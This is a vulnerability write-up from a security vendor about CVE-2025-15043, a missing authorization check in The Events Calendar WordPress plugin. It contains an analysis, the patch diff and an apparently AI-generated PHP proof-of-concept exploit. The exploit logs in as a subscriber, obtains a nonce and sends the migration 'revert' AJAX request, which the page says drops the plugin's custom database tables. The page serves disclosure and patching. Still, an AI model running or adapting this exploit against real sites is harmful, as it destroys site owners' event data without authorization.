Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-15043: The Events Calendar <= 6.15.13 – Missing Authorization to Authenticated (Subscriber+) Data Migration Control (the-events-calendar)

Severity Medium (CVSS 5.4)
CWE 862
Vulnerable Version 6.15.13
Patched Version 6.15.13.1
Disclosed January 19, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-15043:
The Events Calendar WordPress plugin versions up to 6.15.13 contains a missing authorization vulnerability in its Custom Tables V1 database migration system. This flaw allows authenticated attackers with subscriber-level permissions or higher to control the migration process, including dropping custom database tables.

The root cause lies in the Ajax.php file within the migration component. The file at /the-events-calendar/src/Events/Custom_Tables/V1/Migration/Ajax.php contains three vulnerable AJAX handler functions: start_migration(), cancel_migration(), and revert_migration(). Each function performs a nonce verification via check_ajax_referer() but lacks any capability check before executing privileged migration operations. The revert_migration() function specifically triggers a process that can drop custom database tables.

Exploitation requires an authenticated WordPress user with any role (including subscriber) to send AJAX requests to /wp-admin/admin-ajax.php with specific action parameters. Attackers would send POST requests with action=tec_events_custom_tables_v1_migration_start, action=tec_events_custom_tables_v1_migration_cancel, or action=tec_events_custom_tables_v1_migration_revert. The requests must include a valid nonce, which subscribers can obtain from migration-related admin pages they can access.

The patch adds capability checks to all three vulnerable functions. Each function now includes an identical authorization check: if (! current_user_can(‘manage_options’)). When this check fails, the functions return wp_send_json_error() with an appropriate message. The same authorization check was also added to the send_report() and paginate_events() functions for consistency. These changes restrict migration control to administrators only.

Successful exploitation allows attackers with minimal privileges to disrupt event management functionality. Attackers can start unnecessary migrations, cancel ongoing migrations, or revert completed migrations. The revert action can drop custom database tables containing event data, potentially causing data loss and site functionality disruption. This represents a privilege escalation from subscriber to administrative database control.

Differential between vulnerable and patched code

Code Diff
--- a/the-events-calendar/common/vendor/composer/installed.php
+++ b/the-events-calendar/common/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'the-events-calendar/tribe-common',
-        'pretty_version' => 'dev-main',
-        'version' => 'dev-main',
-        'reference' => 'c5ea6a12038a4a18ae5303acf50a4eee9d4ec57f',
+        'pretty_version' => '6.10.1',
+        'version' => '6.10.1.0',
+        'reference' => '83055796c27b35b6e36f802cff410193ba677f11',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -179,9 +179,9 @@
             'dev_requirement' => false,
         ),
         'the-events-calendar/tribe-common' => array(
-            'pretty_version' => 'dev-main',
-            'version' => 'dev-main',
-            'reference' => 'c5ea6a12038a4a18ae5303acf50a4eee9d4ec57f',
+            'pretty_version' => '6.10.1',
+            'version' => '6.10.1.0',
+            'reference' => '83055796c27b35b6e36f802cff410193ba677f11',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
--- a/the-events-calendar/common/vendor/vendor-prefixed/autoload.php
+++ b/the-events-calendar/common/vendor/vendor-prefixed/autoload.php
@@ -19,4 +19,4 @@

 require_once __DIR__ . '/composer/autoload_real.php';

-return ComposerAutoloaderInit182048db4f5b3b0e43a83bbb09dfeac1::getLoader();
+return ComposerAutoloaderInit5899290deebd2b708dc7f2893136e6f7::getLoader();
--- a/the-events-calendar/common/vendor/vendor-prefixed/composer/autoload_real.php
+++ b/the-events-calendar/common/vendor/vendor-prefixed/composer/autoload_real.php
@@ -2,7 +2,7 @@

 // autoload_real.php @generated by Composer

-class ComposerAutoloaderInit182048db4f5b3b0e43a83bbb09dfeac1
+class ComposerAutoloaderInit5899290deebd2b708dc7f2893136e6f7
 {
     private static $loader;

@@ -24,12 +24,12 @@

         require __DIR__ . '/platform_check.php';

-        spl_autoload_register(array('ComposerAutoloaderInit182048db4f5b3b0e43a83bbb09dfeac1', 'loadClassLoader'), true, true);
+        spl_autoload_register(array('ComposerAutoloaderInit5899290deebd2b708dc7f2893136e6f7', 'loadClassLoader'), true, true);
         self::$loader = $loader = new TECCommonComposerAutoloadClassLoader(dirname(__DIR__));
-        spl_autoload_unregister(array('ComposerAutoloaderInit182048db4f5b3b0e43a83bbb09dfeac1', 'loadClassLoader'));
+        spl_autoload_unregister(array('ComposerAutoloaderInit5899290deebd2b708dc7f2893136e6f7', 'loadClassLoader'));

         require __DIR__ . '/autoload_static.php';
-        call_user_func(TECCommonComposerAutoloadComposerStaticInit182048db4f5b3b0e43a83bbb09dfeac1::getInitializer($loader));
+        call_user_func(TECCommonComposerAutoloadComposerStaticInit5899290deebd2b708dc7f2893136e6f7::getInitializer($loader));

         $loader->setClassMapAuthoritative(true);
         $loader->register(true);
--- a/the-events-calendar/common/vendor/vendor-prefixed/composer/autoload_static.php
+++ b/the-events-calendar/common/vendor/vendor-prefixed/composer/autoload_static.php
@@ -4,7 +4,7 @@

 namespace TECCommonComposerAutoload;

-class ComposerStaticInit182048db4f5b3b0e43a83bbb09dfeac1
+class ComposerStaticInit5899290deebd2b708dc7f2893136e6f7
 {
     public static $prefixLengthsPsr4 = array (
         'T' =>
@@ -584,9 +584,9 @@
     public static function getInitializer(ClassLoader $loader)
     {
         return Closure::bind(function () use ($loader) {
-            $loader->prefixLengthsPsr4 = ComposerStaticInit182048db4f5b3b0e43a83bbb09dfeac1::$prefixLengthsPsr4;
-            $loader->prefixDirsPsr4 = ComposerStaticInit182048db4f5b3b0e43a83bbb09dfeac1::$prefixDirsPsr4;
-            $loader->classMap = ComposerStaticInit182048db4f5b3b0e43a83bbb09dfeac1::$classMap;
+            $loader->prefixLengthsPsr4 = ComposerStaticInit5899290deebd2b708dc7f2893136e6f7::$prefixLengthsPsr4;
+            $loader->prefixDirsPsr4 = ComposerStaticInit5899290deebd2b708dc7f2893136e6f7::$prefixDirsPsr4;
+            $loader->classMap = ComposerStaticInit5899290deebd2b708dc7f2893136e6f7::$classMap;

         }, null, ClassLoader::class);
     }
--- a/the-events-calendar/common/vendor/vendor-prefixed/composer/installed.php
+++ b/the-events-calendar/common/vendor/vendor-prefixed/composer/installed.php
@@ -2,9 +2,9 @@
   'root' =>
   array (
     'name' => 'the-events-calendar/tribe-common',
-    'pretty_version' => 'dev-main',
-    'version' => 'dev-main',
-    'reference' => 'c5ea6a12038a4a18ae5303acf50a4eee9d4ec57f',
+    'pretty_version' => '6.10.1',
+    'version' => '6.10.1.0',
+    'reference' => '83055796c27b35b6e36f802cff410193ba677f11',
     'type' => 'wordpress-plugin',
     'install_path' => __DIR__ . '/../',
     'aliases' =>
--- a/the-events-calendar/src/Events/Category_Colors/Admin/Abstract_Admin.php
+++ b/the-events-calendar/src/Events/Category_Colors/Admin/Abstract_Admin.php
@@ -148,6 +148,11 @@
 			return;
 		}

+		// Verify user can edit this term.
+		if ( ! current_user_can( 'edit_term', $term_id ) ) {
+			return;
+		}
+
 		// Retrieve submitted category colors.
 		$category_colors = tec_get_request_var( 'tec_events_category-color', false );

--- a/the-events-calendar/src/Events/Custom_Tables/V1/Migration/Ajax.php
+++ b/the-events-calendar/src/Events/Custom_Tables/V1/Migration/Ajax.php
@@ -6,7 +6,7 @@
  * handler will concentrate on AJAX requests from the migraiton UI, not
  * from Action Scheduler.
  *
- * @since   6.0.0
+ * @since 6.0.0
  *
  * @package TECEventsCustom_TablesV1Migration;
  */
@@ -14,8 +14,6 @@
 namespace TECEventsCustom_TablesV1Migration;

 use TECEventsCustom_TablesV1MigrationAdminPhase_View_Renderer;
-use TECEventsCustom_TablesV1MigrationAdminProgress_Modal;
-use TECEventsCustom_TablesV1MigrationAdminUpgrade_Tab;
 use TECEventsCustom_TablesV1MigrationReportsEvent_Report;
 use TECEventsCustom_TablesV1MigrationReportsEvent_Report_Categories;
 use TECEventsCustom_TablesV1MigrationReportsSite_Report;
@@ -23,7 +21,7 @@
 /**
  * Class Ajax.
  *
- * @since   6.0.0
+ * @since 6.0.0
  * @package TECEventsCustom_TablesV1Migration;
  */
 class Ajax {
@@ -132,11 +130,20 @@
 	 * @param bool $echo Flag whether we echo or return json string.
 	 *
 	 * @return void|string The JSON-encoded data for the front-end.
-	 *
 	 */
 	public function send_report( $echo = true ) {
 		check_ajax_referer( self::NONCE_ACTION );

+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error(
+				[
+					'message' => __( 'You do not have permission to view this page.', 'the-events-calendar' ),
+				]
+			);
+
+			return;
+		}
+
 		$response = $this->get_report();
 		if ( $echo ) {
 			wp_send_json( $response );
@@ -157,6 +164,17 @@
 	 */
 	public function paginate_events( $echo = true ) {
 		check_ajax_referer( self::NONCE_ACTION );
+
+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error(
+				[
+					'message' => __( 'You do not have permission to view this page.', 'the-events-calendar' ),
+				]
+			);
+
+			return;
+		}
+
 		$response = $this->get_paginated_response( $_GET['page'], 25, ! empty( $_GET['upcoming'] ), $_GET['report_category'] );
 		if ( $echo ) {
 			wp_send_json( $response );
@@ -184,21 +202,25 @@
 		$filter        = [
 			Event_Report::META_KEY_MIGRATION_CATEGORY => $category,
 			Event_Report::META_KEY_MIGRATION_PHASE    => Event_Report::META_VALUE_MIGRATION_PHASE_MIGRATION_SUCCESS,
-			'upcoming'                                => $upcoming
+			'upcoming'                                => $upcoming,
 		];
 		$event_details = $this->get_events_and_has_more( $page, $count, $filter );
 		$renderer_args = [
 			'state'         => $this->state,
 			'report'        => $this->site_report,
 			'text'          => $this->text,
-			'event_reports' => $event_details['event_reports']
+			'event_reports' => $event_details['event_reports'],
 		];

 		$renderer = new Phase_View_Renderer(
 			$phase . '-paginated',
 			'/partials/event-items.php',
 			$renderer_args,
-			[ 'has_more' => $event_details['has_more'], 'append' => $upcoming, 'prepend' => ! $upcoming ]
+			[
+				'has_more' => $event_details['has_more'],
+				'append'   => $upcoming,
+				'prepend'  => ! $upcoming,
+			]
 		);

 		return $renderer->compile();
@@ -214,8 +236,8 @@
 	 */
 	protected function get_report() {
 		// What phase are we in?
-		$state    = $this->state;
-		$phase    = $state->get_phase();
+		$state = $this->state;
+		$phase = $state->get_phase();

 		// Short-circuit if migration is not required.
 		if ( $phase === State::PHASE_MIGRATION_NOT_REQUIRED ) {
@@ -238,9 +260,9 @@
 	 *
 	 * @since 6.0.0
 	 *
-	 * @param int $page  Which page we are on.
-	 * @param int $count How many we want.
-	 * @param     $filter
+	 * @param int    $page  Which page we are on.
+	 * @param int    $count How many we want.
+	 * @param $filter
 	 *
 	 * @return array{ has_more:bool, event_reports:array<Event_Report> }
 	 */
@@ -255,14 +277,19 @@
 			$has_more = false;
 		} else {
 			// If we did, lets see if there is another page.
-			$has_more = ! empty( $this->events_repository->get_events_migrated(
-				$page + 1,
-				$count,
-				$filter
-			) );
+			$has_more = ! empty(
+				$this->events_repository->get_events_migrated(
+					$page + 1,
+					$count,
+					$filter
+				)
+			);
 		}

-		return [ 'has_more' => $has_more, 'event_reports' => $event_reports ];
+		return [
+			'has_more'      => $has_more,
+			'event_reports' => $event_reports,
+		];
 	}

 	/**
@@ -279,7 +306,7 @@
 		$renderer_args = [
 			'state'  => $this->state,
 			'report' => $this->site_report,
-			'text'   => $this->text
+			'text'   => $this->text,
 		];

 		switch ( $phase ) {
@@ -302,7 +329,7 @@
 						$upcoming_filter         = [
 							Event_Report::META_KEY_MIGRATION_CATEGORY => $category['key'],
 							Event_Report::META_KEY_MIGRATION_PHASE    => Event_Report::META_VALUE_MIGRATION_PHASE_MIGRATION_SUCCESS,
-							'upcoming'                                => true
+							'upcoming'                                => true,
 						];
 						$past_filter             = $upcoming_filter;
 						$past_filter['upcoming'] = false;
@@ -335,7 +362,8 @@
 			case State::PHASE_MIGRATION_FAILURE_COMPLETE:
 				$renderer_args['event_reports'] = $this->site_report->get_event_reports(
 					1,
-					$count, [ Event_Report::META_KEY_MIGRATION_PHASE => Event_Report::META_VALUE_MIGRATION_PHASE_MIGRATION_FAILURE ]
+					$count,
+					[ Event_Report::META_KEY_MIGRATION_PHASE => Event_Report::META_VALUE_MIGRATION_PHASE_MIGRATION_FAILURE ]
 				);
 				break;
 		}
@@ -353,13 +381,13 @@
 	 * @return string|void The primary template file to load for this phase.
 	 */
 	protected function get_renderer_template( $phase ) {
-		$phase = $phase === null ? State::PHASE_PREVIEW_PROMPT : $phase;
+		$phase ??= State::PHASE_PREVIEW_PROMPT;

 		// Is the Maintenance Mode view requesting the report? This changes how we handle the views.
-		$is_maintenance_mode = ! empty( $_GET["is_maintenance_mode"] );
+		$is_maintenance_mode = ! empty( $_GET['is_maintenance_mode'] );

 		// Determine base directory for templates.
-		$base_dir = $is_maintenance_mode ? "/maintenance-mode/phase" : "/phase";
+		$base_dir = $is_maintenance_mode ? '/maintenance-mode/phase' : '/phase';

 		// Base template is phase name. Some phases might change it with other logic.
 		$template = $phase;
@@ -432,13 +460,13 @@
 		 *                           Initially `null`.
 		 * @param string $phase      The current phase we are in.
 		 */
-		$renderer = apply_filters( "tec_events_custom_tables_v1_migration_ajax_ui_renderer", null, $phase );
+		$renderer = apply_filters( 'tec_events_custom_tables_v1_migration_ajax_ui_renderer', null, $phase );
 		if ( $renderer instanceof Phase_View_Renderer ) {

 			return $renderer;
 		}

-		$phase = $phase === null ? State::PHASE_PREVIEW_PROMPT : $phase;
+		$phase ??= State::PHASE_PREVIEW_PROMPT;

 		// Get the args.
 		$renderer_args = $this->get_renderer_args( $phase );
@@ -452,13 +480,14 @@
 			case State::PHASE_MIGRATION_IN_PROGRESS:
 				// * Warning, need a new report object here, state will have changed.
 				$site_report = Site_Report::build();
-				$renderer->register_node( 'progress-bar',
+				$renderer->register_node(
+					'progress-bar',
 					'.tec-ct1-upgrade-update-bar-container',
 					'/partials/progress-bar.php',
 					[
 						'phase'  => $phase,
 						'report' => $site_report,
-						'text'   => $this->text
+						'text'   => $this->text,
 					]
 				);
 				break;
@@ -480,12 +509,27 @@
 	public function start_migration( $echo = true ) {
 		check_ajax_referer( self::NONCE_ACTION );

+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error(
+				[
+					'message' => __( 'You do not have permission to migrate events.', 'the-events-calendar' ),
+				]
+			);
+
+			return;
+		}
+
 		$dry_run = ! empty( $_REQUEST['tec_events_custom_tables_v1_migration_dry_run'] );
 		// Log our start
-		do_action( 'tribe_log', 'debug', 'Ajax: Start migration', [
-			'source'  => __CLASS__ . ' ' . __METHOD__ . ' ' . __LINE__,
-			'dry_run' => $dry_run,
-		] );
+		do_action(
+			'tribe_log',
+			'debug',
+			'Ajax: Start migration',
+			[
+				'source'  => __CLASS__ . ' ' . __METHOD__ . ' ' . __LINE__,
+				'dry_run' => $dry_run,
+			]
+		);
 		$this->process->start( $dry_run );

 		$response = $this->get_report();
@@ -509,14 +553,29 @@
 	 * @param bool $echo Flag whether we echo or return json string.
 	 *
 	 * @return void|string The JSON-encoded data for the front-end.
-	 *
 	 */
 	public function cancel_migration( $echo = true ) {
 		check_ajax_referer( self::NONCE_ACTION );
+
+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error(
+				[
+					'message' => __( 'You do not have permission to migrate events.', 'the-events-calendar' ),
+				]
+			);
+
+			return;
+		}
+
 		// Log our start
-		do_action( 'tribe_log', 'debug', 'Ajax: Cancel migration', [
-			'source' => __CLASS__ . ' ' . __METHOD__ . ' ' . __LINE__,
-		] );
+		do_action(
+			'tribe_log',
+			'debug',
+			'Ajax: Cancel migration',
+			[
+				'source' => __CLASS__ . ' ' . __METHOD__ . ' ' . __LINE__,
+			]
+		);
 		// A cancel action is identical to an undo.
 		$this->process->cancel();
 		$response = $this->get_report();
@@ -540,10 +599,26 @@
 	 */
 	public function revert_migration( $echo = true ) {
 		check_ajax_referer( self::NONCE_ACTION );
+
+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error(
+				[
+					'message' => __( 'You do not have permission to migrate events.', 'the-events-calendar' ),
+				]
+			);
+
+			return;
+		}
+
 		// Log our start
-		do_action( 'tribe_log', 'debug', 'Ajax: Undo migration', [
-			'source' => __CLASS__ . ' ' . __METHOD__ . ' ' . __LINE__,
-		] );
+		do_action(
+			'tribe_log',
+			'debug',
+			'Ajax: Undo migration',
+			[
+				'source' => __CLASS__ . ' ' . __METHOD__ . ' ' . __LINE__,
+			]
+		);
 		$this->process->revert();
 		$response = $this->get_report();
 		if ( $echo ) {
@@ -553,4 +628,4 @@

 		return wp_json_encode( $response );
 	}
-}
 No newline at end of file
+}
--- a/the-events-calendar/src/Events/Custom_Tables/V1/Migration/CSV_Report/File_Download.php
+++ b/the-events-calendar/src/Events/Custom_Tables/V1/Migration/CSV_Report/File_Download.php
@@ -59,7 +59,15 @@
 			return false;
 		}

-		return (bool) wp_verify_nonce( $_GET['wpnonce'] );
+		if ( ! wp_verify_nonce( $_GET['wpnonce'] ) ) {
+			return false;
+		}
+
+		if ( ! current_user_can( 'manage_options' ) ) {
+			return false;
+		}
+
+		return true;
 	}

 	/**
--- a/the-events-calendar/src/Tribe/Admin/Timezone_Settings.php
+++ b/the-events-calendar/src/Tribe/Admin/Timezone_Settings.php
@@ -69,6 +69,10 @@
 			return;
 		}

+		if ( ! current_user_can( 'manage_options' ) ) {
+			return;
+		}
+
 		// Update request?
 		if ( isset( $_GET['timezone-update'] ) ) {
 			$updater = new Tribe__Events__Admin__Timezone_Updater;
@@ -87,6 +91,10 @@
 			return;
 		}

+		if ( ! current_user_can( 'manage_options' ) ) {
+			return;
+		}
+
 		$updater = new Tribe__Events__Admin__Timezone_Updater;
 		$updater->init_update();

--- a/the-events-calendar/src/Tribe/Aggregator/Settings.php
+++ b/the-events-calendar/src/Tribe/Aggregator/Settings.php
@@ -63,6 +63,10 @@
 			return;
 		}

+		if ( ! current_user_can( 'manage_options' ) ) {
+			return;
+		}
+
 		$this->clear_eb_credentials();

 		wp_redirect(
@@ -180,7 +184,7 @@
 	}

 	/**
-	 * Hooked to current_screen, this method identifies whether or not eb credentials should be cleared
+	 * Hooked to current_screen, this method identifies whether or not meetup credentials should be cleared
 	 *
 	 * @since 4.9.6
 	 *
@@ -202,6 +206,10 @@
 			return;
 		}

+		if ( ! current_user_can( 'manage_options' ) ) {
+			return;
+		}
+
 		$this->clear_meetup_credentials();

 		wp_redirect(
@@ -769,6 +777,10 @@
 			return;
 		}

+		if ( ! current_user_can( 'manage_options' ) ) {
+			return;
+		}
+
 		$this->clear_fb_credentials();

 		wp_redirect(
--- a/the-events-calendar/src/Tribe/Aggregator/Tabs/Scheduled.php
+++ b/the-events-calendar/src/Tribe/Aggregator/Tabs/Scheduled.php
@@ -129,6 +129,11 @@
 			return false;
 		}

+		$post_type = get_post_type_object( Tribe__Events__Main::POSTTYPE );
+		if ( empty( $post_type->cap->edit_posts ) || ! current_user_can( $post_type->cap->edit_posts ) ) {
+			return false;
+		}
+
 		if ( empty( $data->records ) ) {
 			if ( empty( $data->ids ) ) {
 				return false;
--- a/the-events-calendar/src/Tribe/Amalgamator.php
+++ b/the-events-calendar/src/Tribe/Amalgamator.php
@@ -476,6 +476,10 @@
 			return;
 		}

+		if ( ! current_user_can( 'manage_options' ) ) {
+			return;
+		}
+
 		$amalgamator = new self();
 		$amalgamator->merge_duplicates();

--- a/the-events-calendar/src/Tribe/Main.php
+++ b/the-events-calendar/src/Tribe/Main.php
@@ -40,7 +40,7 @@
 		const POSTTYPE            = 'tribe_events';
 		const VENUE_POST_TYPE     = 'tribe_venue';
 		const ORGANIZER_POST_TYPE = 'tribe_organizer';
-		const VERSION             = '6.15.13';
+		const VERSION             = '6.15.13.1';

 		/**
 		 * Min Pro Addon.
@@ -3256,11 +3256,14 @@
 		 *
 		 */
 		public function ajax_form_validate() {
+			$post_type = get_post_type_object( self::POSTTYPE );
+
 			if (
 				$_REQUEST['name']
 				&& $_REQUEST['nonce']
 				&& $_REQUEST['type']
 				&& wp_verify_nonce( $_REQUEST['nonce'], 'tribe-validation-nonce' )
+				&& current_user_can( $post_type->cap->edit_posts )
 			) {
 				echo $this->verify_unique_name( $_REQUEST['name'], $_REQUEST['type'] );
 				die;
--- a/the-events-calendar/the-events-calendar.php
+++ b/the-events-calendar/the-events-calendar.php
@@ -2,7 +2,7 @@
 /**
  * Plugin Name: The Events Calendar
  * Description: The Events Calendar is a carefully crafted, extensible plugin that lets you easily share your events. Beautiful. Solid. Awesome.
- * Version: 6.15.13
+ * Version: 6.15.13.1
  * Requires at least: 6.6
  * Requires PHP: 7.4
  * Author: The Events Calendar
--- a/the-events-calendar/vendor/composer/installed.php
+++ b/the-events-calendar/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'the-events-calendar/the-events-calendar',
-        'pretty_version' => 'dev-release/T25.obsidian',
-        'version' => 'dev-release/T25.obsidian',
-        'reference' => 'a422900d8a00e33923b13ab861fa02476ba250b7',
+        'pretty_version' => 'dev-release/T26.apricot',
+        'version' => 'dev-release/T26.apricot',
+        'reference' => '5de21c724b98138e07784ec3c6c38a3b23e620d0',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -11,9 +11,9 @@
     ),
     'versions' => array(
         'the-events-calendar/the-events-calendar' => array(
-            'pretty_version' => 'dev-release/T25.obsidian',
-            'version' => 'dev-release/T25.obsidian',
-            'reference' => 'a422900d8a00e33923b13ab861fa02476ba250b7',
+            'pretty_version' => 'dev-release/T26.apricot',
+            'version' => 'dev-release/T26.apricot',
+            'reference' => '5de21c724b98138e07784ec3c6c38a3b23e620d0',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-15043 - The Events Calendar <= 6.15.13 - Missing Authorization to Authenticated (Subscriber+) Data Migration Control

<?php
/**
 * Proof of Concept for CVE-2025-15043
 * Requires: Valid WordPress subscriber account credentials
 * Target: WordPress site with vulnerable The Events Calendar plugin (<= 6.15.13)
 */

$target_url = 'https://vulnerable-site.com';
$username = 'subscriber_user';
$password = 'subscriber_pass';

// Initialize session
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

// Step 1: Login to WordPress
$login_url = $target_url . '/wp-login.php';
$login_fields = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
];

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_fields));
$response = curl_exec($ch);

// Step 2: Access migration page to obtain nonce
// The migration interface is accessible to subscribers in vulnerable versions
$migration_url = $target_url . '/wp-admin/edit.php?post_type=tribe_events&page=tec-events-settings&tab=upgrade';
curl_setopt($ch, CURLOPT_URL, $migration_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);

// Extract nonce from page (simplified - real implementation would parse HTML)
// Nonce is typically in a script tag or data attribute with key 'tec_events_custom_tables_v1_migration'
// For this PoC, we assume we've extracted it:
$nonce = 'EXTRACTED_NONCE_HERE'; // Would be extracted via regex from response

// Step 3: Exploit vulnerable migration control endpoints
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Option A: Start migration
$payload_start = [
    'action' => 'tec_events_custom_tables_v1_migration_start',
    '_ajax_nonce' => $nonce,
    'tec_events_custom_tables_v1_migration_dry_run' => '0'
];

// Option B: Cancel migration
$payload_cancel = [
    'action' => 'tec_events_custom_tables_v1_migration_cancel',
    '_ajax_nonce' => $nonce
];

// Option C: Revert migration (most dangerous - drops tables)
$payload_revert = [
    'action' => 'tec_events_custom_tables_v1_migration_revert',
    '_ajax_nonce' => $nonce
];

// Execute revert attack (most impactful)
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload_revert));
$result = curl_exec($ch);

echo "Attack Result:n";
echo $result;

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School